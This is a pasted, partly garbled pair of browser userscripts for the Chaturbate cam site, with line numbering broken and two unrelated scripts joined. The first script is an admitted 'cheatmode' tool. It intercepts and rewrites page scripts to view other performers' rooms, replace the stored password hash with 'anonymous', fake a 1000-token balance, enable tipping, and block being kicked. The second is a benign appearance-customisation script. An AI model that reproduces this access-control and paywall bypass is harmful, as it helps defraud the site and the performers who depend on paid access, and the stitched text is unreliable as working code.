  2414. 749.            newli.addEventListener('click',function(){npcheat(preformer,1);}, false);
  2415.  
  2416.  
  2417. 750.            mobset()}
  2418.  
  2419.  
  2420. 751.    
  2421.  
  2422.  
  2423. 752.    // mobile mode
  2424.  
  2425.  
  2426. 753.            function mobset(){
  2427.  
  2428.  
  2429. 754.            newli=document.createElement('li');
  2430.  
  2431.  
  2432. 755.            newli.innerHTML=' Use mobile mode: <input type="checkbox" id="mobmode">';
  2433.  
  2434.  
  2435. 756.            if (bar){bar.appendChild(newli)}}
  2436.  
  2437.  
  2438. 757.    
  2439.  
  2440.  
  2441. 758.    
  2442.  
  2443.  
  2444. 759.    //  reconnect chatbox , give me mu8 link
  2445.  
  2446.  
  2447. 760.            function keyinput(){
  2448.  
  2449.  
  2450. 761.            if (!document.getElementById("cheat")){
  2451.  
  2452.  
  2453. 762.    
  2454.  
  2455.  
  2456. 763.            if (document.getElementById("movie")){
  2457.  
  2458.  
  2459. 764.            place=document.getElementsByClassName('info-user')[0];
  2460.  
  2461.  
  2462. 765.            if(!place){place=document.getElementById("shout")} // for pw room with chat
  2463.  
  2464.  
  2465. 766.    
  2466.  
  2467.  
  2468. 767.            //chat reload
  2469.  
  2470.  
  2471. 768.            if (document.getElementsByClassName("chat-box")[0]){
  2472.  
  2473.  
  2474. 769.            chatreload=document.createElement('div');
  2475.  
  2476.  
  2477. 770.            chatreload.innerHTML="<a href='javascript:GetFlashObject(\"movie\").DisconnectFromChat();'>Reconnect the chatbox</a><br><br>";
  2478.  
  2479.  
  2480. 771.            document.getElementById("defchat").insertBefore(chatreload,place)}
  2481.  
  2482.  
  2483. 772.    
  2484.  
  2485.  
  2486. 773.            if (document.getElementsByTagName('video')[0]){
  2487.  
  2488.  
  2489. 774.            vidlink=document.getElementsByTagName('video')[0].src;
  2490.  
  2491.  
  2492. 775.            vid=document.createElement('div');
  2493.  
  2494.  
  2495. 776.            vid.innerHTML="<a href="+vidlink+" target='_blank'>COPY this link into VLC player.</a><br><br>";
  2496.  
  2497.  
  2498. 777.            document.getElementById("defchat").insertBefore(vid,place)}}
  2499.  
  2500.  
  2501. 778.            }
  2502.  
  2503.  
  2504. 779.            }
  2505.  
  2506.  
  2507. 780.    
  2508.  
  2509.  
  2510. 781.    //get saved flashplayer version
  2511.  
  2512.  
  2513. 782.            function getfversion(){
  2514.  
  2515.  
  2516. 783.            Fversion=readCookie("CBversion");
  2517.  
  2518.  
  2519. 784.            if(!Fversion){Fversion=flashplayer}
  2520.  
  2521.  
  2522. 785.            version="http://chaturbate.com/"+Fversion.substring(Fversion.indexOf("static"));
  2523.  
  2524.  
  2525. 786.            return version}
  2526.  
  2527.  
  2528. 787.    
  2529.  
  2530.  
  2531. 788.    // videobox data
  2532.  
  2533.  
  2534. 789.            var servers=new Array("","-a","-b");
  2535.  
  2536.  
  2537. 790.            var server = servers[Math.floor(Math.random()*3)];//0-1-2
  2538.  
  2539.  
  2540. 791.            var servnr=Math.floor(Math.random()*13)+1;if(servnr==11){servnr=8}// 1 - 13, skip 11 coz it's down
  2541.  
  2542.  
  2543. 792.    
  2544.  
  2545.  
  2546. 793.            videodata1='<div id ="defchat"style="float:left;margin-left:10px;margin-top:10px;margin-bottom:10px;border-width:5px;border-style:double;resize:both;overflow:hidden;width: 498px; height: 426px; ">'
  2547.  
  2548.  
  2549. 794.            +'<object id="movie" type="application/x-shockwave-flash" data="';
  2550.  
  2551.  
  2552. 795.    
  2553.  
  2554.  
  2555. 796.            videodata2='" style="visibility: visible;margin-top:0px;margin-bottom:0px;width:100%;height:95%">'
  2556.  
  2557.  
  2558. 797.            +'<param name="allowScriptAccess" value="always">'
  2559.  
  2560.  
  2561. 798.            +'<param name="allowFullScreen" value="true">'
  2562.  
  2563.  
  2564. 799.            +'<param name="quality" value="high">'
  2565.  
  2566.  
  2567. 800.            +'<param name="wmode" value="opaque">'
  2568.  
  2569.  
  2570. 801.            +'<param name="id" value="movie">'
  2571.  
  2572.  
  2573. 802.            +'<param name="FlashVars" value="pid=ladroop&address=edge'
  2574.  
  2575.  
  2576. 803.            + servnr+server
  2577.  
  2578.  
  2579. 804.            +'.stream.highwebmedia.com&language=/xml/viewer.xml&mute=0&uid=AnonymousUser&dom=chaturbate.com&pw=anonymous">'
  2580.  
  2581.  
  2582. 805.            +'</object></div>'
  2583.  
  2584.  
  2585. 806.    
  2586.  
  2587.  
  2588. 807.    // shoutbox data
  2589.  
  2590.  
  2591. 808.            sdata = '<div><br><iframe title="Shoutbox" WIDTH=100% HEIGHT="400" src="http://shoutbox.widget.me/window.html?uid=odrgw" frameborder="0" '
  2592.  
  2593.  
  2594. 809.            +'scrolling="auto"></iframe><script src="http://shoutbox.widget.me/v1.js" type="text/javascript"></script><br><a href="http://shoutbox.widget.me" '
  2595.  
  2596.  
  2597. 810.            +'title="Shoutbox Widget">Shout</a><a href="http://shoutbox-tutorials.blogspot.com" title="Shoutbox Tutorials">box</a><br></div>';
  2598.  
  2599.  
  2600. 811.    
  2601.  
  2602.  
  2603. 812.    // some cookies
  2604.  
  2605.  
  2606. 813.            createCookie("u_NxHf","1",1);
  2607.  
  2608.  
  2609. 814.            createCookie("us_NxHf","1",1);
  2610.  
  2611.  
  2612. 815.            createCookie("dsmn29","1",1);
  2613.  
  2614.  
  2615. 816.            createCookie("dsmn26","1",1);
  2616.  
  2617.  
  2618. 817.            createCookie("dsmn27","1",1);
  2619.  
  2620.  
  2621. 818.            createCookie("dsmn28","1",1);
  2622.  
  2623.  
  2624. 819.    
  2625.  
  2626.  
  2627. 820.            if (!readCookie("show_emoticon_icons")){createCookie("show_emoticon_icons","no",1)}
  2628.  
  2629.  
  2630. 821.    
  2631.  
  2632.  
  2633. 822.    //----------------------------------------------------------------------------------------------------------------------------------
  2634.  
  2635.  
  2636. 823.    // executes !everytime! before a script executes
  2637.  
  2638.  
  2639. 824.            function do_script2(e) {
  2640.  
  2641.  
  2642. 825.    
  2643.  
  2644.  
  2645. 826.    // we will always kill swf storage and earase exisiting storage
  2646.  
  2647.  
  2648. 827.            if(e.target.innerHTML.indexOf("var mySwfStore = new SwfStore")!= -1){ // check for script , this is swf script
  2649.  
  2650.  
  2651. 828.    
  2652.  
  2653.  
  2654. 829.            if(!e.target.id){// already altered ? , then ID is set
  2655.  
  2656.  
  2657. 830.    
  2658.  
  2659.  
  2660. 831.            script=e.target.innerHTML;
  2661.  
  2662.  
  2663. 832.            e.preventDefault();
  2664.  
  2665.  
  2666. 833.            e.stopPropagation();
  2667.  
  2668.  
  2669. 834.            e.target.parentNode.removeChild(e.target);
  2670.  
  2671.  
  2672. 835.    
  2673.  
  2674.  
  2675. 836.            script=script.replace("function link_accounts()","function link_accounts() {mySwfStore.set('usernames2', '');return false} function lost()");
  2676.  
  2677.  
  2678. 837.    
  2679.  
  2680.  
  2681. 838.            scrip=document.createElement('script');
  2682.  
  2683.  
  2684. 839.            scrip.id="newswfstor";
  2685.  
  2686.  
  2687. 840.    
  2688.  
  2689.  
  2690. 841.            scrip.innerHTML=script;
  2691.  
  2692.  
  2693. 842.            document.getElementsByTagName('body')[0].appendChild(scrip);
  2694.  
  2695.  
  2696. 843.    
  2697.  
  2698.  
  2699. 844.            }}
  2700.  
  2701.  
  2702. 845.    
  2703.  
  2704.  
  2705. 846.    
  2706.  
  2707.  
  2708. 847.    // this part does the flash init script , only remove logo if in normal mode
  2709.  
  2710.  
  2711. 848.            if(e.target.innerHTML.indexOf("HasFlash")!= -1){ // check for script - this is the video init script
  2712.  
  2713.  
  2714. 849.    
  2715.  
  2716.  
  2717. 850.            if(!e.target.id){// already altered ? , then ID is set
  2718.  
  2719.  
  2720. 851.          
  2721.  
  2722.  
  2723. 852.            script=e.target.innerHTML;
  2724.  
  2725.  
  2726. 853.            e.preventDefault();
  2727.  
  2728.  
  2729. 854.            e.stopPropagation();
  2730.  
  2731.  
  2732. 855.            e.target.parentNode.removeChild(e.target);
  2733.  
  2734.  
  2735. 856.    
  2736.  
  2737.  
  2738. 857.            scrip=document.createElement('script');
  2739.  
  2740.  
  2741. 858.            scrip.id="newvid";
  2742.  
  2743.  
  2744. 859.    
  2745.  
  2746.  
  2747. 860.            script=script.replace("http://ccstatic.highwebmedia.com/static/images/flashwatermark.png","");
  2748.  
  2749.  
  2750. 861.    
  2751.  
  2752.  
  2753. 862.    
  2754.  
  2755.  
  2756. 863.    
  2757.  
  2758.  
  2759. 864.            if (!readCookie("cheatmode")){
  2760.  
  2761.  
  2762. 865.            scrip.innerHTML=script;
  2763.  
  2764.  
  2765. 866.            document.getElementsByTagName('body')[0].appendChild(scrip);  
  2766.  
  2767.  
  2768. 867.            return} // only do the rest if we are in cheatmode , return here if in normal mode
  2769.  
  2770.  
  2771. 868.    
  2772.  
  2773.  
  2774. 869.            mode=readCookie("cheatmode").split("&");
  2775.  
  2776.  
  2777. 870.            preformer=mode[0];
  2778.  
  2779.  
  2780. 871.            anon=mode[1];
  2781.  
  2782.  
  2783. 872.            mob=mode[2];
  2784.  
  2785.  
  2786. 873.            chost=mode[3];
  2787.  
  2788.  
  2789. 874.    
  2790.  
  2791.  
  2792. 875.            orgname=document.location.href.split("/")[4];
  2793.  
  2794.  
  2795. 876.    
  2796.  
  2797.  
  2798. 877.            var patrn = new RegExp(orgname,"ig");
  2799.  
  2800.  
  2801. 878.            script=script.replace(patrn,preformer);
  2802.  
  2803.  
  2804. 879.    
  2805.  
  2806.  
  2807. 880.            if((anon==1)||(mob==1)){
  2808.  
  2809.  
  2810. 881.            pos1 = script.indexOf('ProductInstall.swf",');
  2811.  
  2812.  
  2813. 882.            pos2 = script.indexOf("',",pos1);
  2814.  
  2815.  
  2816. 883.            script=script.replace(script.substring(pos1,pos2),'ProductInstall.swf",\n            \'AnonymousUser');
  2817.  
  2818.  
  2819. 884.    
  2820.  
  2821.  
  2822. 885.            pos1 = script.indexOf("pbkdf2_sha256");
  2823.  
  2824.  
  2825. 886.            pos2 = script.indexOf("',",pos1);
  2826.  
  2827.  
  2828. 887.            script=script.replace(script.substring(pos1,pos2),"anonymous");
  2829.  
  2830.  
  2831.  
  2832.  
  2833. 890.            scrip.innerHTML=script;
  2834.  
  2835.  
  2836. 891.            document.getElementsByTagName('body')[0].appendChild(scrip);
  2837.  
  2838.  
  2839.  
  2840.  
  2841.  
  2842. 895.    // next only if in cheatmode
  2843.  
  2844.  
  2845. 896.            if (!readCookie("cheatmode")){return}
  2846.  
  2847.  
  2848. 897.            mode=readCookie("cheatmode").split("&");
  2849.  
  2850.  
  2851. 898.            preformer=mode[0];
  2852.  
  2853.  
  2854. 899.            anon=mode[1];
  2855.  
  2856.  
  2857. 900.            mob=mode[2];
  2858.  
  2859.  
  2860. 901.            chost=mode[3];
  2861.  
  2862.  
  2863. 902.    
  2864.  
  2865.  
  2866. 903.            orgname=document.location.href.split("/")[4];
  2867.  
  2868.  
  2869. 904.    
  2870.  
  2871.  
  2872. 905.            if(e.target.innerHTML.indexOf("function log_presence()")!= -1){ // check for script , this is chat init script
  2873.  
  2874.  
  2875.    
  2876.  
  2877.  
  2878. 907.            if(!e.target.id){// already altered ? , then ID is set
  2879.  
  2880.  
  2881.    
  2882.  
  2883.  
  2884. 909.            script=e.target.innerHTML;
  2885.  
  2886.  
  2887. 910.            e.preventDefault();
  2888.  
  2889.  
  2890. 911.            e.stopPropagation();
  2891.  
  2892.  
  2893. 912.            e.target.parentNode.removeChild(e.target);
  2894.  
  2895.    
  2896.  
  2897.  
  2898. 914.            var patrn = new RegExp(orgname,"ig");
  2899.  
  2900.  
  2901. 915.            script=script.replace(patrn,preformer);
  2902.  
  2903.  
  2904.  
  2905.  
  2906.  
  2907. 917.            script=script.replace("rtmp://chat1",chost);
  2908.  
  2909.  
  2910. 918.            script=script.replace("rtmp://chat2",chost);
  2911.  
  2912.  
  2913.  
  2914.  
  2915.  
  2916. 920.            script=script.replace("allow_tipping: false","allow_tipping: true"); // if original is an exhib.
  2917.  
  2918.  
  2919.    
  2920.  
  2921.  
  2922. 922.            script=script.replace("window.location.reload()","return"); // no more kick
  2923.  
  2924.  
  2925. 923.    
  2926.  
  2927.  
  2928. 924.            pos1 = script.indexOf("num_users_waiting_for_group_show"); // in case original page got users waiting, if so it will show in chat
  2929.  
  2930.  
  2931. 925.            script=script.replace(script.substring(pos1,pos1+35),"num_users_waiting_for_group_show: 0");
  2932.  
  2933.  
  2934.    
  2935.  
  2936.  
  2937. 927.            if (mob==1){
  2938.  
  2939.  
  2940. 928.            script=script.replace("force_handler: null","force_handler: html_handler")}
  2941.  
  2942.    
  2943.  
  2944.  
  2945. 930.            if(anon==1){
  2946.  
  2947.  
  2948. 931.            rd="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
  2949.  
  2950.  
  2951. 932.            username="";
  2952.  
  2953.  
  2954. 933.            l=5+Math.floor((Math.random()*6)+1);
  2955.  
  2956.  
  2957. 934.            for (i=0; i<l; i++){
  2958.  
  2959.  
  2960. 935.            rand = Math.floor(Math.random()*rd.length);
  2961.  
  2962.  
  2963. 936.            username=username+rd.charAt(rand)}
  2964.  
  2965.  
  2966. 937.            username = "__anonymous__"+username;
  2967.  
  2968.  
  2969.    
  2970.  
  2971.  
  2972. 939.            pos1 = script.indexOf("username: '");
  2973.  
  2974.  
  2975. 940.            pos2 = script.indexOf("',",pos1);
  2976.  
  2977.  
  2978. 941.            script=script.replace(script.substring(pos1,pos2),"username: '"+username);
  2979.  
  2980.  
  2981.  
  2982.  
  2983. 943.            pos1 = script.indexOf("my_username: '");
  2984.  
  2985.  
  2986. 944.            pos2 = script.indexOf("',",pos1);
  2987.  
  2988.  
  2989. 945.            script=script.replace(script.substring(pos1,pos2),"my_username: '");
  2990.  
  2991.  
  2992. 947.            pos1 = script.indexOf("token_balance:");
  2993.  
  2994.  
  2995. 948.            pos2 = script.indexOf(",",pos1);
  2996.  
  2997.  
  2998. 949.            script=script.replace(script.substring(pos1,pos2),"token_balance: 1000")
  2999.  
  3000.  
  3001. 951.            pos1 = script.indexOf("pbkdf2_sha256");
  3002.  
  3003.  
  3004. 952.            pos2 = script.indexOf("',",pos1);
  3005.  
  3006.  
  3007. 953.            script=script.replace(script.substring(pos1,pos2),"anonymous");
  3008.  
  3009.  
  3010. 954.            } // end if anon
  3011.  
  3012.  
  3013. 957.            scrip=document.createElement('script');
  3014.  
  3015.  
  3016. 958.            scrip.id="newchat";
  3017.  
  3018. 960.            scrip.innerHTML=script;
  3019.  
  3020.  
  3021. 961.            document.getElementsByTagName('body')[0].appendChild(scrip);
  3022.  
  3023.  
  3024. 965.    // next room url or else sorted userlist fails
  3025.  
  3026.  
  3027. 966.            if(e.target.innerHTML.indexOf("nextroomurl")!= -1){ // check for script - this is the nextroom script
  3028.  
  3029.  
  3030.  
  3031. 968.            if(!e.target.id){// already altered ? , then ID is set
  3032.    
  3033.  
  3034.  
  3035. 970.            script=e.target.innerHTML;
  3036.  
  3037.  
  3038. 971.            e.preventDefault();
  3039.  
  3040.  
  3041. 972.            e.stopPropagation();
  3042.  
  3043.  
  3044. 973.            e.target.parentNode.removeChild(e.target);
  3045.  
  3046.  
  3047. 975.            var patrn = new RegExp(orgname,"ig");
  3048.  
  3049.  
  3050. 976.            script=script.replace(patrn,preformer);
  3051.  
  3052.  
  3053. 977.    
  3054.  
  3055.  
  3056. 978.            scrip=document.createElement('script');
  3057.  
  3058.  
  3059. 979.            scrip.id="newnext";
  3060.  
  3061.  
  3062. 981.            scrip.innerHTML=script;
  3063.  
  3064.  
  3065. 982.            document.getElementsByTagName('body')[0].appendChild(scrip);
  3066.  
  3067. 987.    window.addEventListener("DOMContentLoaded", function() { do_script() }, false);
  3068.  
  3069.  
  3070. 988.    
  3071.  
  3072.  
  3073. 989.    window.addEventListener('beforescriptexecute', function(e) {do_script2(e) }, false);
  3074.  
  3075.  
  3076. 991.    //.user.js
  3077.  
  3078.  ? >  ><==UserScript==><
  3079.  
  3080.  
  3081. this.$ = this.jQuery = jQuery.noConflict(true);
  3082.  
  3083. if (window.location.protocol != 'https:') {
  3084.     window.location.href = 'https:' + window.location.href.substring(window.location.protocol.length);
  3085. }
  3086. //===============================================Inserts holder for color selector and hide for now
  3087. var jsColorBox = ('<div id="jsDiv"></div><input class="jscolor {onFineChange:"update(this)", width:101, padding:0, shadow:true,borderWidth:1, backgroundColor:"transparent", insetColor:"#000"}" value="80bfff" style="position:absolute; top:93px; left:555px;  z-index:1002;" >');
  3088. $('#nav').append(jsColorBox);
  3089. $('.jscolor').hide();
  3090. function update(jscolor) {
  3091.     // 'jscolor' instance can be used as a string
  3092.     var jsClass = $('#lightColor');
  3093.     jsClass.text('#' + jscolor);
  3094. }
  3095. //=============================================== Configure proper UTC values for setting cookies
  3096. var later = new Date();
  3097. var laterDate = later.setUTCFullYear('2099');
  3098. var now = new Date();
  3099. var time = now.getTime();
  3100. time += 21600000;
  3101. now.setTime(time);
  3102. //=============================================== Set the cookies to make sure these values are always set
  3103. document.cookie = 'noads=1; expires=' + now.toUTCString() + '; path=/';
  3104. document.cookie = 'agreeterms=1; expires=' + later.toUTCString() + '; path=/';
  3105. document.cookie = 'np3=1; expires=' + later.toUTCString() + '; path=/';
  3106. //===============================================
  3107. //DELETE EXHIBITIONIST CAMS-THEY ARE SCARY SOMETIMES IF NOT OBSCENE
  3108. //OR SOME SCAMMER SPAMMING CHAT OFFERING SKYPE SHOWS FOR MONEY
  3109. //===============================================
  3110. function myTimer() {
  3111.     var basura = $(".thumbnail_label_exhibitionist"); //Delete Exhibitionist Cams, always spam or very disgusting
  3112.     if (basura) {
  3113.         basura.parent().remove();
  3114.     }
  3115.     var cams = $(".details"); //Put thin border around cam preview thumbnails
  3116.     if (cams) {
  3117.         cams.parent().css({'color': "black", "border": "1px ridge black"});
  3118.     }
  3119.     var DOM = document.getElementsByClassName("list");
  3120.     var noSissies = $( "a:contains('sissy')" );
  3121.     if (noSissies) {
  3122.         noSissies.parentsUntil(DOM, "li").remove();
  3123.     }
  3124. }
  3125. //===============================================
  3126. //========= Call removeElementByPath Function====
  3127. //===============================================
  3128. removeEBP();
  3129. //===============================================
  3130. function getCookie(cname) {
  3131.     var name = cname + "=";
  3132.     var ca = document.cookie.split(';');
  3133.     for (var i = 0; i < ca.length; i++) {
  3134.         var c = ca[i];
  3135.         while (c.charAt(0) == ' ') c = c.substring(1);
  3136.         if (c.indexOf(name) != -1) {
  3137.             return c.substring(name.length, c.length);
  3138.         }}
  3139.     return "";
  3140. }
  3141.  
  3142. var color1 = getCookie('cb-color1');
  3143. var color2 = getCookie('cb-color2');
  3144.  
  3145. if ((color1 === "") || (color2 === "")) {
  3146.     var color = ["80bfff", "000000"];
  3147. } else {
  3148.     var color = [color1, color2];
  3149. }
  3150. var color3 = getCookie('cb-color3');
  3151. var color4 = getCookie('cb-color4');
  3152.  
  3153. var chkbx = getCookie('cb-chkbx');
  3154. if (chkbx == 'locked') {
  3155.     var varCheck = 'true';
  3156.     var posi = 'fixed';
  3157. }
  3158. else {
  3159.     var varCheck = 'false';
  3160.     var posi = 'absolute';
  3161. }
  3162.  
  3163. var chkbx2 = getCookie('cb-chkbx-2');
  3164. if (chkbx2 == 'locked') {
  3165.     var varCheck2 = 'true';
  3166.     jQuery('document').ready(function($) {
  3167.         var nav = $('.nav-bar');
  3168.         $(window).scroll(function() {
  3169.             if ($(this).scrollTop() > 85) {
  3170.                 nav.addClass('fixnav');
  3171.             }
  3172.             else {
  3173.                 nav.removeClass('fixnav');
  3174.             }
  3175.         });
  3176.     });
  3177. }
  3178. else {
  3179.     jQuery('document').ready(function($) {
  3180.         var nav = $('.nav-bar');
  3181.         $(window).scroll(function() {
  3182.             if ($(this).scrollTop() < 0) {
  3183.                 nav.addClass('fixnav');
  3184.             }
  3185.             else {
  3186.                 nav.removeClass('fixnav');
  3187.             }
  3188.         });
  3189.     });
  3190. }
  3191. //===================================================== Creates the SETTINGS Link On Top of Page
  3192. function quickCheck() {
  3193.     $(document).ready(function(){
  3194.         var vnumber = '5.2.0';
  3195.         var version = 'Chaturbate Enhanced - Version ' + vnumber;
  3196.         var vernum = document.createElement('INS');
  3197.         var txt = document.createTextNode(version);
  3198.         vernum.setAttribute('id', 'verText');
  3199.         vernum.setAttribute('style', 'position:absolute; top:36px; left:300px; color:#181818; font-family:arial; font-size:0.875em; font-weight:normal; text-decoration:none; z-index:1000;');
  3200.         vernum.appendChild(txt);
  3201.         document.body.appendChild(vernum);
  3202.         var verCheck = document.createElement('INS');
  3203.         var verTxt = document.createTextNode('');
  3204.         verCheck.setAttribute('id', 'verText');
  3205.         verCheck.setAttribute('style', 'display:none;');
  3206.         verCheck.appendChild(verTxt);
  3207.         document.body.appendChild(verCheck);
  3208.         var edit = document.createElement('A');
  3209.         var editTxt = document.createTextNode('Settings');
  3210.         edit.setAttribute('id', 'editBut');
  3211.         edit.setAttribute('style', 'position:absolute; top:18px; left:298px; font-family:arial; font-size:1.125em; font-weight:bold; text-decoration:none; z-index:1000;');
  3212.         edit.setAttribute('href', '#');
  3213.         edit.onclick = function() {
  3214.             $('.jscolor').show();
  3215.             var makeForm = document.createElement('FORM');
  3216.             makeForm.setAttribute('id', 'colorForm');
  3217.             makeForm.setAttribute('style', 'position:absolute; top:0; left:150px; width:278px; height:340px; background-color:#ffffff; border:1px solid #cbcbcb; border-radius:0px 1px 4px 0; z-index:1001;');
  3218.             document.body.appendChild(makeForm);
  3219.             //===================================================== Choose a light hexadecimal color label
  3220.             var pick1 = document.createElement('INS');
  3221.             var pickLight = document.createTextNode('Choose a light hexadecimal color');
  3222.             pick1.setAttribute('style', 'position:absolute; top:10px; left:170px; text-decoration:none; z-index:1002;');
  3223.             pick1.setAttribute('id', 'pick1Label');
  3224.             pick1.appendChild(pickLight);
  3225.             document.body.appendChild(pick1);
  3226.             //===================================================== Choose a light hexadecimal color input box
  3227.             var light = document.createElement('INPUT');
  3228.             light.setAttribute('id', 'lightColor');
  3229.             light.setAttribute('type', 'text');
  3230.             light.setAttribute('value', color[0]);
  3231.             light.setAttribute('style', 'position:absolute; top:20px; left:20px; text-decoration:none; z-index:1002;');
  3232.             document.getElementById('colorForm').appendChild(light);
  3233.             //===================================================== Choose a dark hexadecimal color
  3234.             var pick2 = document.createElement('INS');
  3235.             var pickDark = document.createTextNode('Choose a dark hexadecimal color');
  3236.             pick2.setAttribute('style', 'position:absolute; top:60px; left:170px; text-decoration:none; z-index:1002;');
  3237.             pick2.appendChild(pickDark);
  3238.             document.body.appendChild(pick2);
  3239.             //===================================================== Choose a dark hexadecimal input box
  3240.             var dark = document.createElement('INPUT');
  3241.             dark.setAttribute('id', 'darkColor');
  3242.             dark.setAttribute('type', 'text');
  3243.             dark.setAttribute('value', color[1]);
  3244.             dark.setAttribute('style', 'position:absolute; top:70px; left:20px; text-decoration:none; z-index:1002;');
  3245.             document.getElementById('colorForm').appendChild(dark);
  3246.             //===================================================== Favorite Model Label for Input Box
  3247.             var pick3 = document.createElement('INS');
  3248.             var pickName = document.createTextNode('Choose a favorite model.');
  3249.             pick3.setAttribute('style', 'position:absolute; top:110px; left:170px; text-decoration:none; z-index:1002;');
  3250.             pick3.appendChild(pickName);
  3251.             document.body.appendChild(pick3);
  3252.             //===================================================== Favorite Model Input Box
  3253.             var modelName = document.createElement('INPUT');
  3254.             modelName.setAttribute('id', 'modelNameBox');
  3255.             modelName.setAttribute('type', 'text');
  3256.             modelName.setAttribute('value', color3);
  3257.             modelName.setAttribute('style', 'position:absolute; top:120px; left:20px; text-decoration:none; z-index:1002;');
  3258.             document.getElementById('colorForm').appendChild(modelName);
  3259.             //===================================================== Font Name Label for Input Box
  3260.             var pick4 = document.createElement('INS');
  3261.             var pickFontName = document.createTextNode('Change Font Type');
  3262.             pick4.setAttribute('style', 'position:absolute; top:155px; left:170px; text-decoration:none; z-index:1002;');
  3263.             pick4.appendChild(pickFontName);
  3264.             document.body.appendChild(pick4);
  3265.             //===================================================== Font Name Combo Box
  3266.             var pickFont = document.createElement('SELECT');
  3267.             pickFont.setAttribute('style', 'position:absolute;top: 170px;left:20px;text-decoration:none;z-index:1002;');
  3268.             pickFont.setAttribute('id', 'fontNameBox');
  3269.             pickFont.setAttribute('type', 'option');
  3270.             pickFont.setAttribute('elementtype', 'combobox');
  3271.             pickFont.setAttribute('size', '1');
  3272.             var pickOption = document.createElement('OPTION');
  3273.             var pickOpt1 = document.createTextNode('Rockwell');//=====FIRST OPTION
  3274.             pickOption.setAttribute('value', '1');
  3275.             pickOption.appendChild(pickOpt1);
  3276.             pickFont.appendChild(pickOption);
  3277.  
  3278.             var pickOption2 = document.createElement('OPTION');
  3279.             var pickOpt2 = document.createTextNode('Tw Cen MT');//=====SECOND OPTION
  3280.             pickOption2.setAttribute('value', '2');
  3281.             pickOption2.appendChild(pickOpt2);
  3282.             pickFont.appendChild(pickOption2);
  3283.  
  3284.             var pickOption3 = document.createElement('OPTION');
  3285.             var pickOpt3 = document.createTextNode('Verdana');//=====THIRD OPTION
  3286.             pickOption3.setAttribute('value', '3');
  3287.             pickOption3.appendChild(pickOpt3);
  3288.             pickFont.appendChild(pickOption3);
  3289.  
  3290.             document.getElementById('colorForm').appendChild(pickFont);
  3291.             //===================================================== First checkbox label
  3292.             var scroll = document.createElement('INS');
  3293.             var scrollCheck = document.createTextNode('Lock room image in place.');
  3294.             scroll.setAttribute('style', 'position:absolute; top:205px; left:170px; text-decoration:none; z-index:1002;');
  3295.             scroll.appendChild(scrollCheck);
  3296.             document.body.appendChild(scroll);
  3297.             //===================================================== Checkbox
  3298.             var chbox = document.createElement('INPUT');
  3299.             if (varCheck == 'true') {
  3300.                 chbox.setAttribute('id', 'checkBox');
  3301.                 chbox.setAttribute('type', 'checkbox');
  3302.                 chbox.setAttribute('checked', 'true');
  3303.                 chbox.setAttribute('style', 'position:absolute; top:220px; left:20px; text-decoration:none; z-index:1002;');
  3304.             }
  3305.             else {
  3306.                 chbox.setAttribute('id', 'checkBox');
  3307.                 chbox.setAttribute('type', 'checkbox');
  3308.                 chbox.setAttribute('style', 'position:absolute; top:220px; left:20px; text-decoration:none; z-index:1002;');
  3309.             }
  3310.             document.getElementById('colorForm').appendChild(chbox);
  3311.             //===================================================== Second checkbox label & Checkbox
  3312.             var scroll2 = document.createElement('INS');
  3313.             var scrollCheck2 = document.createTextNode('Lock navigation bar in place.');
  3314.             scroll2.setAttribute('style', 'position:absolute; top:245px; left:170px; text-decoration:none; z-index:1002;');
  3315.             scroll2.appendChild(scrollCheck2);
  3316.             document.body.appendChild(scroll2);
  3317.             var chbox2 = document.createElement('INPUT');
  3318.             if (varCheck2 == 'true') {
  3319.                 chbox2.setAttribute('id', 'checkBox2');
  3320.                 chbox2.setAttribute('type', 'checkbox');
  3321.                 chbox2.setAttribute('checked', 'true');
  3322.                 chbox2.setAttribute('style', 'position:absolute; top:260px; left:20px; text-decoration:none; z-index:1002;');
  3323.             }
  3324.             else {
  3325.                 chbox2.setAttribute('id', 'checkBox2');
  3326.                 chbox2.setAttribute('type', 'checkbox');
  3327.                 chbox2.setAttribute('style', 'position:absolute; top:260px; left:20px; text-decoration:none; z-index:1002;');
  3328.             }
  3329.             document.getElementById('colorForm').appendChild(chbox2);
  3330.             //===================================================== Insert Close and Save buttons on bottom
  3331.             var save = document.createElement('A');
  3332.             var close = document.createElement('A');
  3333.             var saveTxt = document.createTextNode('Save');
  3334.             var closeTxt = document.createTextNode('Close');
  3335.             save.setAttribute('id', 'saveBut');
  3336.             close.setAttribute('id', 'closeBut');
  3337.             save.setAttribute('style', 'position:absolute; top:290px; left:364px; background-color:#ffffff; border:1px solid #181818; border-radius:4px; padding:2px 6px; z-index:1002;');
  3338.             close.setAttribute('style', 'position:absolute; top:290px; left:314px; background-color:#ffffff; border:1px solid #181818; border-radius:4px; padding:2px 6px; z-index:1002;');
  3339.             save.setAttribute('href', '#');
  3340.             close.setAttribute('href', '#');
  3341.             close.onclick = function() {
  3342.                 $('.jscolor').hide();
  3343.                 location.reload();
  3344.             };
  3345.             save.onclick = function() {
  3346.                 $('.jscolor').hide();
  3347.                 var color1 = document.getElementById('lightColor').value;
  3348.                 var color2 = document.getElementById('darkColor').value;
  3349.                 var color3 = document.getElementById('modelNameBox').value;
  3350.                 var color4 = document.getElementById('fontNameBox').value;
  3351.                 //===================================================== Check first checkbox from cookie
  3352.                 var varCheck = document.getElementById('checkBox').checked;
  3353.                 if (varCheck === true) {
  3354.                     document.cookie = 'cb-chkbx=locked; expires=' + later.toUTCString() + '; path=/';
  3355.                 }
  3356.                 else {
  3357.                     document.cookie = 'cb-chkbx=unlocked; expires=' + later.toUTCString() + '; path=/';
  3358.                 }
  3359.                 //===================================================== Check second checkbox from cookie
  3360.                 var varCheck2 = document.getElementById('checkBox2').checked;
  3361.                 if (varCheck2 === true) {
  3362.                     document.cookie = 'cb-chkbx-2=locked; expires=' + later.toUTCString() + '; path=/';
  3363.                 }
  3364.                 else {
  3365.                     document.cookie = 'cb-chkbx-2=unlocked; expires=' + later.toUTCString() + '; path=/';
  3366.                 }
  3367.                 //===================================================== Set color hex values in cookies
  3368.                 document.cookie = 'cb-color1=' + color1 + '; expires=' + later.toUTCString() + '; path=/';
  3369.                 document.cookie = 'cb-color2=' + color2 + '; expires=' + later.toUTCString() + '; path=/';
  3370.                 document.cookie = 'cb-color3=' + color3 + '; expires=' + later.toUTCString() + '; path=/';
  3371.                 if (color4 == 1) {
  3372.                     document.cookie = 'cb-color4=' + "Rockwell" + '; expires=' + later.toUTCString() + '; path=/';
  3373.                 } else if (color4 == 2) {
  3374.                     document.cookie = 'cb-color4=' + "Tw Cen MT" + '; expires=' + later.toUTCString() + '; path=/';
